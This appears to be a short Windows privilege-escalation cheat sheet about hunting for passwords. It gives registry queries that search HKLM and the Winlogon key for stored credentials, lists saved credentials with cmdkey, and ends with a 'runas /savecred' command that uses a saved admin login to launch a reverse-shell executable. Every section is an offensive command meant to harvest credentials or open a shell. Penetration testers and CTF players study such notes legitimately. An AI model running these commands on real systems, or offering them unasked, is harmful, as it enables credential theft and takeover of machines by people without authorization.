# Passwords

#### Searching for passwords

```
reg query HKLM /f password /t REG_SZ /s
```

#### Searching for last user's password upon login

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
```

#### List any saved credentials:

```
cmdkey /list

######## If passwords saved try to get a reverse shell ########
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```